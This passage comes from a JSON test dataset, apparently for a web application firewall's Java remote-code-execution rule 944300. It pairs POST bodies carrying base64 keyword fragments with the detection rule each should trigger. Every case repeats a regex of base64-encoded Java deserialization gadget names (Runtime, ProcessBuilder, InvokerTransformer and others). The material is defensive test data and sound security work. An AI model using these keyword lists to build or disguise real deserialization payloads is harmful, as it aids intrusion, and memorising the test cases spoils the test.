"post_body", "value": "{\"test\": \"HJ1bnRpbWU\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"HJ1bnRpbWU\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword HJ1bnRpbWU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BydW50aW1l" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BydW50aW1l=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"BydW50aW1l\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">BydW50aW1l</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">BydW50aW1l</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BydW50aW1l" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"BydW50aW1l\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"BydW50aW1l\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword BydW50aW1l" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cHJvY2Vzc2J1aWxkZXI" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cHJvY2Vzc2J1aWxkZXI=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword cHJvY2Vzc2J1aWxkZXI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"cHJvY2Vzc2J1aWxkZXI\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword 